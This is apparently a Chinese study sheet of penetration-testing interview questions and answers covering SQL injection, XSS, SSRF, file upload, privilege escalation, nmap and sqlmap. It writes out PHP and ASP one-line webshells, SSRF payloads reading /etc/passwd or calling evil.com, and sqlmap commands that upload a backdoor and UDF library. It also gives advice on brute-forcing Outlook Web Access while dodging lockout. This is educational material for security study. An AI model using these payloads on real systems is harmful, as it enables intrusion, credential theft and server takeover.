总结一下面试碰到的问题。
SQL注入
SQL注入时,注入点是数值型注入,不触发WAF的payload
1.0、1/1、1*1
SQL注入可以做什么,写出针对于www.baidu.com?id=1的测试流程?
SQL注入可以获取数据库信息,例如用户名、密码;
可以删除或修改数据;
向数据库添加数据,如添加管理员用户;
在权限控制不够严格,拥有写入权限,并知道网站绝对路径时,可以写入Webshell;拥有读权限时,可以读取敏感文件,如select load_file(/etc/passwd) --
测试流程
a.测试是否存在注入,使用'
、"
、and 1=2
等,根据页面是否发生变化判断是否存在注入,或使用sleep(5)
根据页面加载速度判断是否存在注入
b.判断注入类型:Union、报错、布尔盲注、时间盲注、堆注入、内联注入
c.判断数据库类型:MySQL、Oracle、SQL Server
了解过哪些数据库的注入?
Mysql、MSSQL、Oracle
SQL注入可以采取什么方法修复?描述每种方法的利弊。
使用参数化查询,增加额外的开发成本,程序不好维护
转义字符,只能转移部分字符,存在绕过风险
使用WAF,WAF规则库需要更新,存在绕过风险
宽字节注入的原理?
前端编码和数据库编码不一致,数据库编码是GBK、GB2312这种两个字节表示一个字符的编码
有转义函数,将'
转义为\'
二次编码注入的原理?
服务器收到数据后会进行解码,mysql_real_escape_string()
等转义函数在urldecode()前,所以无法转义经过编码后的字符,然后再由urldecode()
进行解码。
渗透时后端环境是apache+php+mysql的情况下,利用sql注入写webshell一般来说需要满足三个条件:1.mysql用户需要有()权限;2.需要知道()路径;3.()(符号)不能被过滤。
root权限、网站绝对路径、'
、:
、/
、\
二次注入的原理?
数据库保存数据时,保存的是未经过滤的数据,在其他地方调用数据执行SQL查询,也未经过过滤,导致注入产生。
如果存在SQL注入怎么判断不同类型的数据库?
不同数据库,存在独特的库,Mysql的information_schma,MSSQL的sysobjects,Oracle的dual,通过exists(select * from information_schma)来判断不同类型的数据库
查看报错信息,不同数据库的报错信息不同
报错注入的函数有哪些?
extractvalue()、updatexml()、floor()、polygon()、exp()
SQL注入的类型
B(布尔盲注)、U(Union查询)、T(时间盲注)、S(堆注入)、E(报错注入)、Q(内联查询)
文件上传
常见的一句话有哪些?木马的变形有哪些方式?
PHP:<?php eval($_POST[Windy]) ?>
ASP:<%eval request("Windy")%>
变形方式:将函数也作为参数从前端获取,将一句话的字符转为ascii码
文件上传漏洞的原理?
没有对上传的文件进行严格验证和过滤
绕过文件上传的技巧有哪些?
关闭JS
修改Content-type
修改拓展名
修改文件头
上传.htaccess
文件
编辑器漏洞有了解码?
FCKeditor
EWebeditor
说说解析漏洞?
Web中间件的漏洞,会造成解析不该解析的文件类型
IIS6.0 包含.asp
后缀的文件夹下,所有文件以asp
文件解析;会解析a.asa
、a.cer
IIS7.0 在图片后加入/.php
会以php
文件解析;会解析a.php;*.png
的文件
Apache 从右向左,依次尝试解析后缀,知道碰到认识的后缀
文件包含
文件包含漏洞的原理,分类,条件?
include()、require()中的参数用户可控,并无严格过滤
本地文件包含
远程文件包含 开启url_allow_fopen
和url_allow_include
文件包含漏洞伪协议有哪些?
php://input
php://filter
file://
phar://
zip://
data://
命令执行、代码执行的原理?
参数用户可控,调用命令执行、代码执行函数,未对参数进行过滤或过滤不严谨
XSS
XSS可以做什么?写出不同场景下的Payload思路?
1.网络钓鱼,包括盗取各类的用户账号
2.窃取用户cookie
3.窃取用户浏览会话
4.强制弹出广告页面、刷流量
5.网页挂马
6.提升用户权限,进一步渗透网站
7.传播跨站脚本蠕虫
XSS payload的变形方式?
XSS分哪几种类型,描述每种XSS类型的发生流程。写出针对于<www.baidu.com?id=1>的测试流程?
反射型,非持久型,需要用户点击恶意链接才能触发
存储型,持久型,用户访问存在XSS的页面即可触发
DOM型,可以改变网页DOM节点,将XSS链接伪装成正常链接
XSS防御方案怎么做,不同场景下是否会使用不同的方案,比如:搜索业务、博客?
前端过滤:移除用户上传的高危标签
输出编码:HTML编码
搜索业务会显示搜索内容,
博客会有留言、分享、私信
XSS获取屏幕截图,屏幕截图的范围
浏览器解析范围
简述下浏览器的自解码机制。
URL编码、HTML编码、JavaScrip编码
网站存在phpinfo页面,设置HTTP-Only,如何使用XSS盗取Cookie
HTTP-Only,设置之后,Cookie无法在JavaScript中获取到,只会通过HTTP协议传输过程中带到服务器。
使用XSS获取phpinfo页面信息中的Header数据,Header数据中会存在HTTP-Only的Cookie
支持TRACE方法的服务器、CVE-2012-0053(Apache 2.x),CVE-3009-0357(FireFox)
HTTP-Only绕过姿势HttpOnly的那些事
CSRF
CSRF漏洞的原理是什么?怎么修复?
原理:攻击者构造链接,诱导受害者点击,受害者点击后使用自身的身份验证向服务器发送请求。
修复:验证rerfer、token、向用户发送验证码,其中向用户发送验证码这种二次验证最为有效,可以和前两种组合使用
XXE
XXE漏洞原理以及利用方式?
中间件开启XML解析组件,并且没有关闭解析外部实体。
SSRF
SSRF可以用来做什么,哪些场景容易产生这个类型的漏洞?写出不同场景下的Payload思路。
扫描内部网络和端口:url=http://10.0.0.0:80
执行拒绝服务,请求大文件,保持连接Keep-Alive Always url=http://evil.com/big_file
攻击内网:向内部任意主机的任意端口发送Payload,攻击内网Web应用(使用GET方法可以实现的攻击,如Strust2,SQLi) url=http://192.168.126.1/index.php?id=1 and sleep(5)
利用file协议读取本地文件 url=file:///etc/passwd
利用gopher协议反弹shell 需要结合Redis未授权访问 使用Redis写入脚本,再捕获数据,使用脚本转换为gopher格式,再使用gopher协议反弹shell
从其他服务器获取数据的功能的地方(图片、文档)
在线翻译
收藏
SSRF漏洞修复方案怎么做,难点在哪?
白名单-允许指定URL的HOST
限制内网IP
限制协议为HTTP、HTTPS,禁止file:///,gopher://,ftp://,dict://
禁止30X跳转
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态
SSRF绕过方式
@IP
反序列化漏洞
反序列化漏洞有哪些?是否懂原理?
PHP反序列漏洞、Java反序列化漏洞
内网
欺骗和嗅探的原理?工具?
计算机之间通信通过MAC地址,但对获得的MAC地址不做验证,直接记录,所以可以发送ARP包达到欺骗的目的
Ettercap
域
虚拟机
VMWare的网络模式
NAT
HostOnly
桥接
Web容器
Web容器有哪些?
Apache-HTTP Server
Apache Tomcat
Nginx
Weblogic
WebSphere
Lighttpd
JBoss
HTTP协议
HTTP请求方式有哪些?
GET、POST、TRACE、DELETE、PUT、HEAD、OPTION
状态码
1XX 需要用户进一步请求
2XX 请求成功
3XX 重定向
4XX 客户端请求错误
5XX 服务端错误
200
302
403 访问禁止
404 文件不存在
500 服务器内部错误
在HTTP请求头中user-agent、referer、cookie、x-forward-for、content-type分别表示什么?
user-agent 客户端使用的浏览器、操作系统
安全设备
WAF绕过的方法有哪些?
大小写,双写,内联注释,编码,等价函数替换,分块传输,
哪些漏洞WAF防御不了?
0day,因为WAF基于特征码来进行阻断,0day的特征码
绕过WAF,进入内网执行的漏洞
加密的流量
绕过WAF规则
逻辑漏洞
信息泄露
Misc
Session和Cookie有什么区别,Cookie伪造以及Session伪造漏洞的发生原因是什么?怎么修复?
Session是存放在服务器的身份凭证,Session没有限量
Cookie是存放在本地浏览器上的身份凭证,Cookie限制了数据量,只允许4KB
Cookie伪造原理,获取用户的Cookie后,服务器对发送的Cookie进行验证,验证通过即登录账户,使用HTTP-Only
Session伪造,给被攻击者发送一个伪造的Session,使其登录,可以使用这个Session登录,修复,在登录后重置SessionID
什么是指纹识别?
可以用来识别Web服务类型的独特特征,会在响应包中返回
网页中关键字、特定文件的Hash值(主要是静态文件)
指定URL的关键字
指定URL的Tag模式
浅谈web指纹识别技术
写过博客吗?日常的学习过程关注哪些安全平台?
后期工作规划?
薪资待遇有什么想法?
之前没从事过安全方面的工作,为什么要现在要从事这方面的工作?
渗透流程
拿到目标站怎么进行渗透,需要注意什么。
确定渗透范围;
查询目标站的IP地址,如果存在CDN,可以通过查询SSL证书,查询域名解析历史记录,从国外访问查询IP等方法查询真实IP;
知道目标站真实IP后,进行IP反查,查询是否存在旁站,查询C段网站,若目标站不好渗透,可以从旁站下手;
对目标网站的IP扫描开放端口,查看各个服务版本,以及各服务的第三方组件信息;
对目标网站进行漏洞分析,查找目标网站的Web漏洞;
对找到的漏洞,进行漏洞利用;若目标网站未找到可利用漏洞,可以继续寻找旁站和C段的漏洞;
使用漏洞获得Webshell后,对目标服务器的系统信息进行收集,收集系统补丁信息,系统版本信息,第三方软件版本信息,安全配置信息等系统信息;
同时收集内网信息,使用代理或端口转发对内网进行扫描,为内网渗透做准备;
对上一步收集到的信息进行分析,进行提权;若无法提权,寻找内网中另一台机器,继续进行渗透;
在获取权限后,做后渗透攻击;
撰写渗透测试报告,报告加密发送。
CDN技术有了解码?如何绕过CDN寻找站点真实IP?
CDN(内容分发网络,Content Delivery Network)
代码审计
代码审计怎么做?
查看敏感函数、高危函数、敏感功能点、可控变量
代码审计的方法和常规步骤?
都会哪些语言?
PHP
PHP5环境下,如果配置文件中magic_quotes_gpc为On,则PHP会对请求参数中的哪些字符进行自动转义?
'
、"
、\
工具
用过哪些扫描工具,各有什么特点以及区别?
AWVS 扫描Web漏洞
Nessus 扫描服务器漏洞,专业版可以导出中文报告
Appscan 扫描Web漏洞,支持导出中文报告
Nmap中,-sT,-sP,-sA,-oN分别表示什么?
-sT表示TCP方式扫描,对目标端口建立连接,会留下连接记录
-sP表示Ping方式扫描
-sA表示TCP ACK方式扫描
-oN表示标准输出
对Nmap的脚本引擎了解吗?
–script
使用sqlmap工具进行sql注入漏洞利用时,可以尝试使用()选项获取一个操作系统shell。
--os-shell
SQLMAP中指定测试参数用什么命令?
-p "parameter"
SQLMAP中POST型注入怎么注入?
1.保存POST请求包,然后使用-r request.txt
2.--data=请求数据
SQLMAP中查询所有用户的角色?
查询所有用户--users
查询角色--roles
暴力破解工具有哪些?B/S?C/S?
破解Hash密码的方式?
彩虹表、HashCat
提权
提权分类?
内核提权
第三方服务
安全配置不当
MySQL提权分几种,不同系统有什么差异?
a.MOF提权
在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。
利用条件:mysql用户具有root权限,关闭了secure-file-priv
b.UDF提权
UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限
利用条件:
Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root
账号所具备的权限的其它账号也可以。
以将udf.dll写入到相应目录的权限。
利用方式:
将dll文件导入到相应目录,如果导入错误会产生can’t open shared library错误
创建自定义函数
1 | create function cmdshell returns string soname 'udf.dll'; |
Windows系统和Linux系统上的DLL库位置不同
sqlmap找到Mysql插件目录
1 | python sqlmap.py -u "http://" --sql-shell |
利用sqlmap上传lib_mysqludf_sys到MySQL插件目录
1 | python sqlmap.py -u "http://" --file-write=/lib_mysqludf_sys.so --file-dest=/usr/lib/mysql/plugin/ |
激活存储过程sys_exec
函数
1 | python sqlmap.py -u 'http://xxxx' --sql-shell |
利用sqlmap上传后门程序
1 | python sqlmap.py -u 'http://xxx' --file-write=C:/phpspy.php --file-dest=/var/www/spy.php |
c.mysql5.x for Linux下有system函数,可以执行命令
1 | mysql>system vi /etc/httpd/conf/httpd.conf; |
可以下载MSF生成的反弹shell脚本,本地运行反弹shell,权限根据启动mysql的用户身份来决定
具体场景
考虑以下场景:一个多用户的博客系统(类似于CSDN),普通用户登陆到个人中心后,发现删除自己某篇文章所请求的URI为delete.php?article_id=24,请考虑这个地方最有可能出现哪些安全问题?
CSRF、越权
有文件包含,但没有上传点的站怎么GetShell?
访问含有一句话的URL,会记录在日志里,文件包含日志
PHP伪协议
Metasploit
会自己写payload吗?
HR面试
你理想的工作环境是什么?
红队面试题
来源:https://github.com/Leezj9671/offensiveinterview
开放式问题
技术问题
常规渗透
2.在渗透测试期间,你找到了一个运行于客户端的 Outlook Web Access 实例。你将如何攻击它?
- 描述如何找到可能的用户名。 (如果他们没有回答)
- 描述如何选择使用哪些密码。 (如果他们没有回答)
- 描述如何避免帐户锁定。 (如果他们没有回答)
Outlook的Web控制SMB,这意味着如果能够找出域账户名称的构成语法,就可以尝试使用通用密码进行身份验证。需要注意锁定阈值,在快达到阈值时,换一个用户进行爆破。寻找可能的用户名,使用GoogleHacking,incontent:*@company.com
,根据用户名,进一步搜索个人信息,根据个人信息,按照中国人喜欢的密码规则生成字典进行爆破。避免锁定,找到锁定次数和锁定时间,找到之后,在快达到锁定次数时,更换用户名继续爆破,生成足够多的用户名,爆破一轮的时间足够可以重置锁定时间。
用户名或邮箱可以从社工库,Google,Baidu,Linkedin,钟馗之眼等等获得。
3.如果你在没有root权限的情况下运行以下扫描 nmap www.google.com
- 进行了什么样的扫描? (如果他们没有回答)
- 扫描了多少个端口? (如果他们没有回答)
- 如果你以 root 身份运行相同的命令,请描述它们之间的差异。 (如果他们没有回答)
Nmap在拥有root权限时,默认使用-sS
方式扫描,发送SYN包,在没有root权限时,默认使用-sT
,使用connect()系统调用;扫描1-1024端口以及nmap-services
文件中的端口,大概27000个端口,包括TCP和UDP,nmap-services
是nmap作者对整个互联网进行扫描后,对开放端口情况的统计结果。
4.你正在对一个已知的、比较脆弱的主机启动 Metasploit 发出了一个 reverse https meterpreter payload,但是一旦你键入“exploit”,它在启动攻击后没有任何反应,你将如何调试(或者你将更改为什么)得到你的 meterpreter session?
设置payload为reverse_tcp,不使用HTTPS,添加-a
设置位数,添加--platfrom
设置系统平台
8.假设你可以对测试中的公司域上的计算机有物理访问的权限,该机器已经连接到了内网。你没有域或本地计算机的凭据,但你有自己的电脑,你会如何开始测试?
收集员工邮箱,对用户名、密码进行爆破,注意避免锁定。
碰撞出用户名和密码之后,可以使用Ruler进一步收集信息。
获得用户名:密码后,可以使用以下命令,在本机运行PowerShell,可以避免往域中机器上传文件,不会触发病毒防护软件,也不用再把数据传回自己机器中。
1 | runas /netonly /user:Druid.com\User1 powershell |
基于知识的问题
技术问题
常规渗透
1.渗透测试有哪几阶段?
前期交互、信息收集、威胁建模、漏洞分析、渗透攻击、后渗透攻击、报告
3.运行nmap扫描时,指定从哪个源端口扫描,通常可以绕过防火墙规则?
1 | nmap --source-port 21,53,67 |
20(FTP-DATA)、21(FTP)、53(DNS)、67(DHCP)
4.写一个nmap命令,要求使用SYN扫描,不进行DNS查找,不ping主机,只返回tcp/139和tcp445的开放端口
1 | nmap -sS -n -Pn -p139,445 --open |
5.ARP Spoofing是什么攻击?在渗透测试中如何利用?
ARP欺骗攻击,在内网中使用MITM攻击,DNS欺骗钓鱼
7.双因素身份验证可防止会话劫持,是或不是,为什么?
不是,如果使用密码和手机短信,手机短信使用2G这种不安全的通信协议,可能会被伪基站劫持,导致双因素身份验证无效
加密/哈希/密码
4.LM哈希有什么问题?
加密算法脆弱,容易被破解
5.netNTLM和NTLM之间有什么区别?
6.什么是传递哈希?
攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
7.什么是模拟令牌?
Web应用
1.SQL